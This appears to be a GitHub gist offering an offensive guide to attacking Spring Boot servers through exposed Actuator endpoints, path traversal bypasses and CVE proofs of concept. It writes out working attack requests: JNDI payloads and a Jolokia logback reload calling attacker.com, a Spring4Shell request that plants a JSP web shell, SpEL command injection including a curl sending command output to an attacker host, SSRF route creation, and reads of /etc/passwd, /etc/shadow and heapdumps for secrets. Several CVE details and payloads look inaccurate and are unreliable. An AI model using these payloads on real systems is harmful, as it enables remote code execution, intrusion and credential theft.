Skip to content

Instantly share code, notes, and snippets.

@random-robbie

random-robbie/springboot.md

Last active August 8, 2025 07:00
Show Gist options
  • Save random-robbie/45e85410c0ed90474160ceee9de5b80c to your computer and use it in GitHub Desktop.
Save random-robbie/45e85410c0ed90474160ceee9de5b80c to your computer and use it in GitHub Desktop.
Download ZIP
Raw
springboot.md

Attacking Spring Boot Servers: Actuator Endpoints and Bypasses

Spring Boot Actuators provide production-ready features to monitor and manage your application. While incredibly useful for developers and operations teams, misconfigured or exposed Actuator endpoints can introduce significant security risks. This document outlines how to identify, exploit, and bypass common configurations of Spring Boot Actuator endpoints.

1. Understanding Spring Boot Actuators

Spring Boot Actuators expose various operational information about the running application, such as health, metrics, info, environment properties, and more. It's crucial to understand the differences in endpoint exposure between Spring Boot 1.x and 2.x+:

  • Spring Boot 1.x: Actuator endpoints were typically exposed directly at the root context (e.g., /health, /env, /metrics).
  • Spring Boot 2.x+: By default, Actuator endpoints are exposed under the /actuator/ base path (e.g., /actuator/health, /actuator/env).

This distinction is vital for discovery and exploitation, as older applications might have endpoints exposed in more predictable, less protected locations.

2. Common Actuator Endpoints and Their Significance

Here are some of the most commonly exposed Actuator endpoints and why they are of interest to an attacker:

  • /actuator/health (Spring Boot 2.x+) or /health (Spring Boot 1.x): Provides basic application health information. While often benign, it can sometimes reveal sensitive details about database connections or external services if misconfigured.
  • /actuator/info (Spring Boot 2.x+) or /info (Spring Boot 1.x): Displays arbitrary application information. Developers might inadvertently expose sensitive data here.
  • /actuator/env (Spring Boot 2.x+) or /env (Spring Boot 1.x): Highly Sensitive. Exposes the application's environment properties, including system properties, environment variables, and configuration properties. This can leak sensitive information like API keys, database credentials, cloud service credentials, and even the custom base path for Actuators.
  • /actuator/beans (Spring Boot 2.x+) or /beans (Spring Boot 1.x): Lists all the Spring beans in the application. This can provide insights into the application's internal structure, dependencies, and potentially reveal custom endpoints or sensitive components.
  • /actuator/mappings (Spring Boot 2.x+) or /mappings (Spring Boot 1.x): Displays a comprehensive list of all @RequestMapping paths in the application. This is invaluable for an attacker as it reveals all accessible endpoints, including custom ones and potentially hidden Actuator paths.
  • /actuator/configprops (Spring Boot 2.x+) or /configprops (Spring Boot 1.x): Exposes a collated list of all @ConfigurationProperties beans. Similar to /env, this can leak sensitive configuration data.
  • /actuator/heapdump (Spring Boot 2.x+) or /heapdump (Spring Boot 1.x): Triggers a heap dump of the application, which can contain sensitive in-memory data, including user sessions, credentials, and other confidential information.
  • /actuator/jolokia (Spring Boot 2.x+) or /jolokia (Spring Boot 1.x): If the Jolokia library is present, this endpoint exposes JMX beans over HTTP. This can be exploited for Remote Code Execution (RCE) by reloading logging configurations from a malicious external URL.
  • /actuator/gateway/routes (Spring Cloud Gateway - Spring Boot 2.x+): In vulnerable versions of Spring Cloud Gateway, this endpoint can be exploited for RCE (e.g., CVE-2022-22947) by manipulating routes. (Note: Spring Cloud Gateway is typically used with Spring Boot 2.x+).
  • /actuator/loggers (Spring Boot 2.x+) or /loggers (Spring Boot 1.x): Allows viewing and configuring the logging levels of the application. In some cases, it might be possible to set logging levels to DEBUG or TRACE to reveal more information, or even trigger remote code execution if log appenders are misconfigured.
  • /actuator/threaddump (Spring Boot 2.x+) or /dump (Spring Boot 1.x): Provides a thread dump, which can reveal information about the application's current state, running processes, and potentially sensitive data in thread local storage.
  • /actuator/httptrace (Spring Boot 2.x+) or /trace (Spring Boot 1.x): Exposes HTTP request and response traces. This can leak sensitive information such as session IDs, authentication headers, and other request/response data.
  • /actuator/restart (Spring Boot 2.x+) or /restart (Spring Boot 1.x): Allows for a graceful restart of the application.
  • /actuator/shutdown (Spring Boot 2.x+) or /shutdown (Spring Boot 1.x): Allows for a graceful shutdown of the application.
  • /actuator/sessions (Spring Boot 2.x+): Provides information about active user sessions. Can lead to information disclosure of session IDs or other session-related data. (Note: This endpoint is primarily available in Spring Boot 2.x+).
  • /actuator/prometheus (Spring Boot 2.x+): Exposes metrics in a format consumable by Prometheus. Can reveal sensitive application performance data and internal configurations. (Note: This endpoint is primarily available in Spring Boot 2.x+).
  • /actuator/consul (Spring Cloud Consul): If Spring Cloud Consul is used, this endpoint can expose service registration and discovery information, potentially revealing internal network topology and service details.
  • /actuator/quartz (Spring Boot 2.x+): If Quartz scheduler is used, this endpoint can expose details about scheduled jobs, including their names, groups, and triggers, which might reveal internal application logic.
  • /actuator/refresh (Spring Boot 2.x+): Triggers a refresh of the application context, reloading configuration properties. If combined with other vulnerabilities (e.g., ability to modify configuration sources), this can be an exploitation vector.
  • /actuator/env (POST - Spring Boot 2.x+): While /actuator/env (GET) is for information disclosure, POSTing to this endpoint can modify environment properties. If not properly secured, this can be leveraged for RCE by modifying properties that control class loading or other critical application behavior. It can also be used to enable other Actuator endpoints that might be disabled by default, by setting properties like management.endpoint.<endpoint_name>.enabled=true.

3. Bypassing Non-Standard Actuator Paths

While Spring Boot allows changing the default /actuator base path (e.g., management.endpoints.web.base-path=/management), attackers can still discover and exploit these non-standard paths through various techniques:

  • Information Disclosure from Other Endpoints: As mentioned above, /actuator/env and /actuator/mappings can directly reveal the custom base path. Always check these endpoints first if accessible.
  • Fuzzing and Brute-Forcing: Attackers can use tools like ffuf or dirb with common wordlists to brute-force potential custom paths. Common choices for custom paths include /manage, /admin, /monitor, /metrics, or even random strings.
    • PoC Idea: Use a wordlist containing common administrative paths and the /actuator path, combined with a tool like ffuf to discover the base path.
  • Misconfigured Reverse Proxies: Poorly configured reverse proxies can inadvertently expose Actuator endpoints even if they are on a non-standard path internally. This can happen if the proxy's rewrite rules are too broad or if it forwards requests containing ../ to the management port.
  • Framework and Library Vulnerabilities: Specific libraries used with Actuators can introduce path traversal flaws. For example, the spring-boot-actuator-logview library (versions before 0.2.13) was vulnerable to directory traversal, allowing access to files outside the intended log directory.
    • PoC Idea: If spring-boot-actuator-logview is detected, attempt path traversal using GET /management/viewlog?filename=somefile&base=../../ (adjusting the base path as discovered).

4. Discovery Techniques

Beyond direct enumeration of common paths, here are some techniques to discover Actuator endpoints:

  • Favicon Hashing: Spring Boot applications often have a distinctive favicon. You can use tools that calculate the mmh3 hash of the favicon and search for it on Shodan (e.g., http.favicon.hash:116323821). This can help identify Spring Boot applications, which are then more likely to have Actuator endpoints.
  • Error Pages: The default Spring Boot Whitelabel Error Page can indicate a Spring Boot application. While not directly an Actuator endpoint, its presence confirms the underlying technology.
  • HTTP Headers: Look for X-Application-Context or X-Powered-By: Spring Boot headers in HTTP responses.
  • URL Patterns: Beyond /actuator/, look for patterns like /health, /info, /metrics, /env at the root or other common subdirectories, especially when targeting Spring Boot 1.x applications.
  • Automated Scanners: Tools like Nuclei, Nmap scripts, or specialized Spring Boot scanners can automate the discovery process.

5. Path Traversal and Bypass Techniques

5.1. Semicolon (;) Bypass

The semicolon bypass (related to CVE-2024-38816 and CVE-2024-38819) can affect Spring Framework applications, particularly those serving static resources through functional web frameworks like WebMvc.fn or WebFlux.fn. This vulnerability allows an attacker to craft malicious HTTP requests to access files outside the intended directory structure on the server. The bypass works by leveraging how certain characters, including semicolons, can be used in URLs to manipulate path interpretation, potentially bypassing validation mechanisms (related to "Matrix Parameters" in Java Servlets).

Affected Versions:

  • Spring Framework versions 5.3.0 to 5.3.39 (CVE-2024-38816)
  • Spring Framework versions 6.0.0 to 6.0.23 (CVE-2024-38816)
  • Spring Framework versions 6.1.0 to 6.1.12 (CVE-2024-38816)
  • CVE-2024-38819 affects Spring Framework versions 5.3.0 to 5.3.40, 6.0.0 to 6.0.24, and 6.1.0 to 6.1.13.

PoC:

  1. Identify Vulnerable Endpoints: Look for endpoints that serve static content or Actuator endpoints. Common patterns include /static/, /resources/, /webjars/, or any URL that directly maps to a file system path. Also, specifically target Actuator endpoints like /actuator/env and /actuator/prometheus.
  2. Craft Malicious Request: Attempt to access sensitive files or bypass access controls using a semicolon to manipulate the path. The semicolon can sometimes be interpreted as a path segment separator, allowing .. to function as a directory traversal.
    • Example 1 (Accessing web.xml in WEB-INF): 
      GET /static/..;/WEB-INF/web.xml HTTP/1.1
Host: example.com
      • Explanation: This request attempts to navigate out of the /static/ directory and into the WEB-INF directory to retrieve web.xml, which often contains sensitive configuration.
    • Example 2 (Accessing /etc/passwd): 
      GET /resources/js/..;/..;/..;/etc/passwd HTTP/1.1
Host: example.com
      • Explanation: This attempts to traverse multiple directories (../) using the semicolon as a separator to reach the root and then access /etc/passwd.
    • Example 3 (Bypassing /actuator/env protection): 
      GET /actuator;/env HTTP/1.1
Host: example.com
      • Explanation: This attempts to bypass a potential filter on /actuator/env by inserting a semicolon. The server might interpret /actuator; as a valid path segment, and then process env as a subpath.
    • Example 4 (Bypassing /actuator/prometheus protection): 
      GET /actuator/prometheus;%2f..%2f..%2f HTTP/1.1
Host: example.com
      • Explanation: This uses a double URL-encoded slash (%2f) combined with .. and a semicolon to potentially bypass path validation and access the Prometheus endpoint.
  3. Expected Response: If vulnerable, the server will return the content of the requested file or the expected Actuator endpoint response.

5.2. Dot-Dot-Slash (../) Path Traversal

This is a classic path traversal technique where an attacker uses ../ sequences to navigate up the directory hierarchy and access files or directories outside the intended web root. While often mitigated by web servers and frameworks, specific misconfigurations or vulnerabilities in custom handlers can still make applications susceptible.

PoC:

  1. Identify Endpoints Handling File Paths: Look for endpoints that take file paths as input. These are typically used for serving logs, downloads, images, or other static content.
    • Common patterns: /download?file=, /viewlog?filename=, /image?name=, /api/files?path=.
  2. Craft Malicious Request: Insert ../ sequences into the file path parameter to traverse directories.
    • Example 1 (Log Viewer): 
      GET /actuator/viewlog?filename=../../../../etc/passwd HTTP/1.1
Host: example.com
      • Explanation: This attempts to read the /etc/passwd file by traversing up from the logview directory. The number of ../../ sequences may need to be adjusted based on the application's directory structure.
    • Example 2 (Download Functionality): 
      GET /download?file=../../../../boot/config.txt HTTP/1.1
Host: example.com
      • Explanation: This attempts to download the config.txt file from the /boot directory.
    • Example 3 (Image Loading): 
      GET /image?name=../../../../etc/shadow HTTP/1.1
Host: example.com
      • Explanation: This attempts to load the /etc/shadow file, which contains hashed passwords, by manipulating an image loading parameter.
  3. Expected Response: If vulnerable, the server will return the content of the requested file in the HTTP response body. The effectiveness depends on how the application sanitizes and resolves the provided path.

6. Proof-of-Concepts (PoCs)

Here are some conceptual PoCs based on the vulnerabilities and discovery techniques:

PoC 6.1: Information Disclosure via /env

  1. Request: Send a GET request to the /actuator/env endpoint. If a custom base path is suspected (e.g., /management), try GET /management/env. 
    GET /actuator/env HTTP/1.1
Host: example.com
  2. Expected Response: A JSON object containing environment properties. Look for sensitive keys like password, secret, key, credentials, datasource.url, spring.datasource.username, spring.datasource.password, cloud.aws.credentials.access-key, cloud.aws.credentials.secret-key, management.endpoints.web.base-path, etc. 
    {
  "activeProfiles": [],
  "propertySources": [
    {
      "name": "configurationProperties",
      "properties": {
        "spring.datasource.url": {
          "value": "jdbc:mysql://localhost:3306/mydb",
          "origin": "class path resource [application.properties]"
        },
        "spring.datasource.username": {
          "value": "dbuser",
          "origin": "class path resource [application.properties]"
        },
        "spring.datasource.password": {
          "value": "dbpassword123",
          "origin": "class path resource [application.properties]"
        },
        "management.endpoints.web.base-path": {
          "value": "/admin-api",
          "origin": "class path resource [application.properties]"
        }
      }
    }
  ],
  // ... other properties
}
  3. Exploitation: Extract sensitive data (credentials, API keys) or discover the custom Actuator base path (e.g., /admin-api from the example above) for further exploitation.

PoC 6.2: Remote Code Execution via Jolokia (Logback JNDI Injection)

This PoC leverages a known vulnerability where Jolokia, if exposed, can be used to trigger JNDI injection by reloading Logback configurations from a malicious server.

  1. Detection: Check for the presence of the /actuator/jolokia endpoint. 
    GET /actuator/jolokia HTTP/1.1
Host: example.com
    Expected response should show Jolokia endpoints.
  2. Set up Malicious LDAP/HTTP Server: An attacker needs to set up an LDAP server (e.g., using marshalsec) that serves a malicious XML file (e.g., logback.xml) containing a JNDI lookup to a malicious Java class.
    • logback.xml example: 
      <configuration>
  <insertFromJNDI env-entry-name="ldap://attacker.com:1389/Exploit" as="x"/>
</configuration>
    • Malicious Java Class (Exploit.java): This class would contain the code to be executed on the target server (e.g., a reverse shell, command execution).
  3. Craft Jolokia Request: Send a POST request to the Jolokia endpoint to reload the Logback configuration from the attacker-controlled server. 
    POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator",
  "operation": "reloadByURL",
  "arguments": [
    "http://attacker.com/logback.xml"
  ]
}
  4. Trigger RCE: The target server fetches logback.xml, which triggers the JNDI lookup to the attacker's LDAP server. The malicious Java class is then downloaded and executed, leading to RCE.

PoC 6.3: Path Traversal via spring-boot-actuator-logview

This vulnerability allows reading arbitrary files on the server if the spring-boot-actuator-logview library is in use and vulnerable.

  1. Detection: Look for the /actuator/logview endpoint. 
    GET /actuator/logview HTTP/1.1
Host: example.com
    If the endpoint exists, proceed to exploitation.
  2. Craft Malicious Request: Send a GET request with ../ sequences in the filename parameter to traverse directories. 
    GET /actuator/logview?filename=../../../../../../etc/passwd HTTP/1.1
Host: example.com
    • Explanation: The ../../ sequences attempt to move up the directory tree. The number of ../../ needed depends on the application's deployment path.
  3. Expected Response: If successful, the response body will contain the content of the /etc/passwd file (or any other file specified).

PoC 6.4: Discovering Custom Actuator Paths with Fuzzing

This technique uses a fuzzer to brute-force common and custom paths where Actuator endpoints might be exposed.

  1. Tool: ffuf (or dirb, gobuster, etc.).
  2. Wordlist: Create or use a comprehensive wordlist containing common Actuator paths and potential custom base paths.
    • Example Wordlist (actuator_paths.txt): 
      actuator
management
admin
monitor
api/management
internal/actuator
metrics
health
info
env
beans
mappings
configprops
  3. Fuzzing Command: 
    ffuf -w actuator_paths.txt:FUZZ_PATH -w common_actuator_endpoints.txt:FUZZ_ENDPOINT -u http://target.com/FUZZ_PATH/FUZZ_ENDPOINT -fs 0 -mc 200,401,403
    • Explanation:
      • -w actuator_paths.txt:FUZZ_PATH: Uses actuator_paths.txt for the base path.
      • -w common_actuator_endpoints.txt:FUZZ_ENDPOINT: Uses a separate wordlist for common endpoint names (health, info, env, etc.).
      • -u http://target.com/FUZZ_PATH/FUZZ_ENDPOINT: The URL template where FUZZ_PATH and FUZZ_ENDPOINT will be replaced by words from the wordlists.
      • -fs 0: Filters out responses with 0 size (often empty or error pages).
      • -mc 200,401,403: Matches HTTP status codes 200 (OK), 401 (Unauthorized), and 403 (Forbidden). A 401/403 might indicate a protected but existing endpoint.
  4. Expected Outcome: The fuzzer will output URLs that return interesting status codes, indicating potential Actuator endpoints, even if they are on non-standard paths. For example, a 200 OK for /admin/health would indicate a custom base path of /admin.

PoC 6.5: Analyzing Heapdumps for Sensitive Information

Heapdumps (.hprof files) are snapshots of the Java Virtual Machine's (JVM) memory at a specific point in time. If an /actuator/heapdump endpoint is exposed and accessible, an attacker can download this file and analyze it offline to extract sensitive information that was present in memory. This can include:

  • Usernames and passwords (in plain text or easily reversible formats)
  • API keys and tokens
  • Database connection strings
  • Session IDs
  • Internal application data
  • Configuration details

Tools for Analysis:

  • Eclipse Memory Analyzer (MAT): A powerful, open-source tool for analyzing heapdumps. It provides a graphical interface to inspect objects, analyze memory consumption, and search for specific patterns.
  • jhat (JVM Heap Analysis Tool): A command-line tool included with the JDK. It parses a heap dump file and launches a web server that allows you to browse the heap dump. While less feature-rich than MAT, it can be useful for quick inspections.
  • strings utility: For a very basic and quick check, the strings command-line utility (available on Linux/macOS) can be used to extract printable strings from the binary .hprof file. This is not a comprehensive analysis method but can sometimes reveal obvious plaintext secrets.

PoC (Conceptual - using strings for quick check):

  1. Download Heapdump: Obtain the heapdump file from the exposed /actuator/heapdump endpoint. 
    GET /actuator/heapdump HTTP/1.1
Host: example.com
    Save the response body as heapdump.hprof.
  2. Extract Strings: Use the strings utility to extract printable strings from the .hprof file. 
    strings heapdump.hprof > extracted_strings.txt
  3. Search for Sensitive Information: Open extracted_strings.txt and search for keywords like password, secret, token, API_KEY, jdbc, user, pass, session, etc. 
    grep -i "password" extracted_strings.txt
grep -i "api_key" extracted_strings.txt
    • Expected Output: Any plaintext sensitive information present in the heapdump will be displayed.

PoC (Conceptual - using Eclipse Memory Analyzer (MAT)):

  1. Download Heapdump: Obtain the heapdump file from the exposed /actuator/heapdump endpoint and save it as heapdump.hprof.
  2. Open with MAT: Launch Eclipse Memory Analyzer and open the heapdump.hprof file.
  3. Analyze and Search:
    • Use the "Dominator Tree" or "Top Consumers" reports to identify large objects or potential areas of interest.
    • Use the "OQL (Object Query Language)" feature to write SQL-like queries to search for specific objects or fields.
    • Use the "Search" function (Ctrl+F or Cmd+F) to search for strings within the heapdump. This is the most direct way to find sensitive data. Search for keywords like java.lang.String, char[], byte[] and then filter by content.
    • Example Search in MAT: Search for "String" objects and then filter the results by content containing "password" or "API_KEY".

Exploitation: Any sensitive data found can be used for further attacks, such as unauthorized access, privilege escalation, or lateral movement within the network.

PoC 6.6: SSRF via Spring Cloud Gateway Route Modification (Unauthenticated)

Spring Cloud Gateway, when misconfigured to allow unauthenticated route modification, can be leveraged to perform Server-Side Request Forgery (SSRF) attacks. This technique exploits the gateway's intended functionality to forward requests to arbitrary internal or external URLs.

Vulnerability: Unauthenticated remote users can modify the gateway's routing configuration, allowing them to define new routes that point to internal services or external targets.

PoC:

  1. Step 1: List existing routes (Optional, but Recommended) This step helps to understand the existing routing configuration and confirm the gateway endpoint is reachable.

    curl https://<TARGET_HOST>/actuator/gateway/routes | jq
    • Note: If /actuator/gateway/routes returns no results, try /gateway/routes (for older or custom configurations).
    • Expected Output: A JSON array of existing routes. This confirms the endpoint is accessible.

  2. Step 2: Attempt to create a new route Create a new route that forwards traffic from a defined path on the target to an attacker-controlled server (e.g., Burp Collaborator) or an internal service.

    • Choose a unique id for your route (e.g., ssrf_test_route) and a path (e.g., /ssrf_test).
    • Use a Burp Collaborator FQDN or an internal IP/hostname for the uri.
    curl -X POST https://<TARGET_HOST>/actuator/gateway/routes/ssrf_test_route \
  -H 'Content-Type: application/json' \
  -d '{
        "id":"ssrf_test_route",
        "predicates":[{"name":"Path","args":{"_genkey_0":"/ssrf_test"}}],
        "filters":[],
        "uri":"http://<BURP_COLLABORATOR_FQDN_OR_INTERNAL_IP>"
      }'
    • Explanation: This curl command sends a POST request to the gateway's routes endpoint, adding a new route. When a request hits /ssrf_test on the target, it will be forwarded to the specified uri.
    • Expected Response: A 201 CREATED HTTP status code indicates successful route creation.

  3. Step 3: Refresh the gateway to activate the route The newly created route is not active until the gateway's configuration is refreshed.

    curl -X POST https://<TARGET_HOST>/actuator/gateway/refresh
    • Optional: You can verify the route has been added by listing routes again: 
      curl https://<TARGET_HOST>/actuator/gateway/routes | jq

  4. Step 4: Confirm that the route is functional Access the newly defined path on the target to trigger the SSRF.

    curl https://<TARGET_HOST>/ssrf_test
    • Expected Outcome: If the target is vulnerable, you should observe a hit on your Burp Collaborator server (if used) or see evidence of the request reaching the internal IP/service.

  5. Step 5: Deleting the test route (Important for Cleanup) Always delete test routes after confirming the vulnerability to avoid leaving weaknesses on the target system.

    curl -X DELETE https://<TARGET_HOST>/actuator/gateway/routes/ssrf_test_route

SSRF Tips and Miscellaneous Information:

  • Ant-style Wildcards: Use ant-style wildcard characters (e.g., **) in the Path predicate for more dynamic routes. For example, a path of /assets/** can forward requests for /assets/static/pic.png or /assets/app/sidebar.js.
  • Internal Host Discovery: If SSRF is successful, explore other Spring Boot Actuator endpoints like /actuator/env or /actuator/heapdump on the internal network to discover internal hosts, credentials, or other sensitive information.
  • URL Encoding: Ensure proper URL encoding for special characters in your uri or path arguments.

7. CVE-Specific Proof-of-Concepts (PoCs)

This section outlines conceptual Proof-of-Concepts for prominent CVEs affecting Spring Boot applications. It's crucial to note that actual exploitation may require specific environmental conditions, vulnerable versions, and specialized tools. Always refer to official advisories for the most accurate and up-to-date information.

7.1. CVE-2022-22965 (Spring4Shell / Spring Core RCE)

Description: A critical Remote Code Execution (RCE) vulnerability affecting Spring Framework applications running on JDK 9+ and deployed as traditional WAR files on Servlet containers like Apache Tomcat. This vulnerability allows an unauthenticated attacker to gain RCE by exploiting a data binding vulnerability.

Affected Versions:

  • Spring Framework versions 5.3.0 to 5.3.17
  • Spring Framework versions 5.2.0 to 5.2.19
  • Older, unsupported versions

Conditions for Exploitation:

  • JDK 9 or higher
  • Apache Tomcat as Servlet container
  • Packaged as a traditional WAR (not Spring Boot executable jar)
  • spring-webmvc or spring-webflux dependency

PoC:

  1. Identify Vulnerable Application: Confirm the target application meets the affected versions and conditions (JDK 9+, Tomcat, WAR deployment, spring-webmvc/spring-webflux).
  2. Craft Malicious Request: This vulnerability exploits a data binding flaw to write a malicious JSP file to the server's web root. The payload manipulates class loader properties to achieve this. A common approach involves sending a POST request with a specially crafted Content-Type header and form data.
    • Example Request (simplified for clarity, actual payload is URL-encoded and complex): 
      POST /example/path HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b%2C0%2Ca))%3B%20%7D%20%7D%25&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
      • Explanation: This payload attempts to write a JSP web shell named shell.jsp to the webapps/ROOT directory. The JSP will accept pwd and cmd parameters for authentication and command execution.
  3. Access Web Shell: Once the request is sent and the JSP is written, access it via a web browser or curl to execute arbitrary commands. 
    curl "http://example.com/shell.jsp?pwd=j&cmd=id"
    • Expected Output: The output of the id command on the server.

7.2. CVE-2021-44228 (Log4Shell)

Description: A critical Remote Code Execution (RCE) vulnerability in the Apache Log4j 2 logging library. It allows an attacker to execute arbitrary code by logging a specially crafted string containing a JNDI lookup.

Affected Versions: Apache Log4j 2.0-beta9 to 2.14.1 (inclusive).

PoC:

  1. Identify Vulnerable Input: Find any input field or HTTP header that is logged by the application. Common examples include User-Agent, Referer, X-Forwarded-For, or parameters in POST requests.
  2. Inject Malicious Payload: Inject a JNDI lookup string into the identified input. The payload will point to the attacker's LDAP server.
    • Example (HTTP Header): 
      GET / HTTP/1.1
Host: example.com
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
    • Example (URL-encoded for a parameter): 
      GET /search?query=%24%7Bjndi%3Aldap%3A%2F%2Fattacker.com%3A1389%2FExploit%7D HTTP/1.1
Host: example.com
  3. Set up LDAP Server: An attacker would run a malicious LDAP server (e.g., using marshalsec or a custom Python script) that serves a malicious Java class. This server will listen for JNDI lookups. 
    java -jar marshalsec-0.0.3-SNAPSHOT-all.jar ldap 1389 Exploit
# Exploit.java would contain your malicious code (e.g., reverse shell)
  4. Trigger RCE: When the application logs the injected string, the Log4j library performs the JNDI lookup, connects to the attacker's LDAP server, downloads the malicious Java class, and executes it, leading to RCE. The attacker's LDAP server logs will show the incoming connection, and the malicious code will execute on the target.

7.3. CVE-2022-22963 (Spring Cloud Function SpEL RCE)

Description: A Remote Code Execution (RCE) vulnerability in Spring Cloud Function that is exploitable when using routing functionality with a specially crafted Spring Expression Language (SpEL) expression.

Affected Versions:

  • Spring Cloud Function versions 3.1.6
  • Spring Cloud Function versions 3.2.2
  • Older unsupported versions

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Cloud Function with routing enabled, often exposed at /functionRouter.
  2. Craft Malicious Request: Send a POST request with a specially crafted spring.cloud.function.routing-expression header containing a malicious SpEL expression. The body can be empty JSON.
    • Example Request (Command Execution): 
      POST /functionRouter HTTP/1.1
Host: example.com
Content-Type: application/json
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")

{}
      • Explanation: The SpEL expression T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned") will execute the touch /tmp/pwned command on the server. Replace touch /tmp/pwned with your desired command (e.g., reverse shell payload).
  3. Verify Execution: Check if the command was executed on the target server (e.g., check for the existence of /tmp/pwned).

7.4. CVE-2016-4977 (Spring Security OAuth2 Remote Code Execution)

Description: A remote code execution vulnerability in Spring Security OAuth2 that allows an attacker to execute arbitrary code via a crafted SpEL expression in the expression parameter of the /oauth/authorize endpoint.

Affected Versions: Spring Security OAuth2 versions 2.0.0 to 2.0.9, 1.0.0 to 1.0.5.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Security OAuth2 and exposing the /oauth/authorize endpoint.
  2. Craft Malicious Request: Send a GET request to /oauth/authorize with a malicious SpEL expression in the expression parameter. You'll need a valid client_id, response_type, scope, and redirect_uri for the OAuth flow to proceed.
    • Example Request: 
      GET /oauth/authorize?response_type=token&client_id=testclient&scope=read&redirect_uri=http://localhost/callback&expression=T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/callback?output=`id`") HTTP/1.1
Host: example.com
      • Explanation: The SpEL expression T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/callback?output=id") attempts to execute the id command on the server and send its output to the attacker's server. Replace testclient and http://localhost/callback with valid values for the target application.
  3. Trigger RCE: The application evaluates the SpEL expression during the OAuth authorization process, leading to arbitrary command execution.

7.5. CVE-2018-1271 (Spring Data Commons Remote Code Execution)

Description: A remote code execution vulnerability in Spring Data Commons that allows an attacker to execute arbitrary commands via a crafted SpEL expression in query methods.

Affected Versions: Spring Data Commons versions 1.13 to 1.13.10, 2.0 to 2.0.5.

PoC:

  1. Identify Vulnerable Application: Look for applications using Spring Data Commons and exposing query methods that accept user input, particularly those that might use SpEL for filtering or sorting.
  2. Craft Malicious Request: Send a request that includes a malicious SpEL expression in a parameter that is used in a query. The exact parameter will depend on the application.
    • Example Request (assuming a /users endpoint with a name parameter): 
      GET /users?name=#{T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned_data_commons")}
Host: example.com
      • Explanation: The SpEL expression #{T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned_data_commons")} will execute the touch /tmp/pwned_data_commons command on the server. The # and {} denote a SpEL expression.
  3. Verify Execution: Check for the existence of the file /tmp/pwned_data_commons on the server.

7.6. CVE-2018-1273 (Spring Messaging Remote Code Execution)

Description: A remote code execution vulnerability in Spring Messaging that allows an attacker to execute arbitrary commands via a crafted SpEL expression in the destination header of a STOMP message.

Affected Versions: Spring Framework versions 5.0 to 5.0.4, 4.3 to 4.3.14.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Messaging with STOMP over WebSocket. This usually involves a WebSocket endpoint (e.g., /ws) that upgrades to STOMP.
  2. Connect via WebSocket and Send STOMP Message: Use a WebSocket client (e.g., wscat, browser developer tools, or a custom script) to connect to the WebSocket endpoint and then send a STOMP SEND frame with a malicious SpEL expression in the destination header.
    • Example STOMP Message (using wscat): 
      wscat -c ws://example.com/ws
# Once connected, send:
SEND
destination:/topic/test
content-type:text/plain
spring.message.headers.destination:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned_messaging")

Hello
^@
      • Explanation: The ^@ represents a null byte, which terminates the STOMP frame. The SpEL expression will execute touch /tmp/pwned_messaging on the server.
  3. Verify Execution: Check for the existence of /tmp/pwned_messaging on the server.

7.7. CVE-2020-5405 & CVE-2020-5410 (Spring Cloud Config Directory Traversal)

Description: Directory traversal vulnerabilities in Spring Cloud Config that allow an authenticated attacker to access arbitrary files on the server. CVE-2020-5405 affects applications using Git backend, and CVE-2020-5410 affects applications using Subversion backend.

Affected Versions:

  • CVE-2020-5405: Spring Cloud Config versions 2.2.0 to 2.2.1, 2.1.0 to 2.1.6.
  • CVE-2020-5410: Spring Cloud Config versions 2.2.0 to 2.2.1, 2.1.0 to 2.1.6.

PoC:

  1. Identify Vulnerable Endpoint: Look for Spring Cloud Config servers, typically running on a default port like 8888 or exposed via a gateway.
  2. Craft Malicious Request: Send a GET request to access files outside the intended directory. Authentication might be required.
    • Example (CVE-2020-5405 - Git Backend): 
      GET /config-repo/../../*/../*/etc/passwd HTTP/1.1
Host: example.com
      • Explanation: This attempts to traverse directories using ../ and wildcard characters (*) to reach /etc/passwd. The exact path might vary depending on the configuration.
    • Example (CVE-2020-5410 - Subversion Backend, URL-encoded): 
      GET /svn/my-app/dev/..%252F..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
Host: example.com
      • Explanation: The ..%252F is a double URL-encoded ../. This is often used to bypass filters that only decode once.
  3. Access Sensitive Files: If successful, the server will return the content of the requested file.

7.8. CVE-2020-5412 (Spring Cloud Config SSRF)

Description: A Server-Side Request Forgery (SSRF) vulnerability in Spring Cloud Config that allows an authenticated attacker to make the server perform requests to arbitrary URLs.

Affected Versions: Spring Cloud Config versions 2.2.0 to 2.2.1, 2.1.0 to 2.1.6.

PoC:

  1. Identify Vulnerable Endpoint: Look for Spring Cloud Config servers.
  2. Craft Malicious Request: Send a GET request with a crafted URL that the server will fetch. Authentication might be required.
    • Example Request (URL-encoded internal IP): 
      GET /config-repo/my-app/dev/..%252F..%252F..%252F..%252Fhttp%3A%2F%2F192.168.1.100%2Fadmin HTTP/1.1
Host: example.com
      • Explanation: The ..%252F is double URL-encoded ../. The http://192.168.1.100/admin is the internal URL the attacker wants the server to request. This can be used to scan internal networks, access internal services, or bypass firewalls.
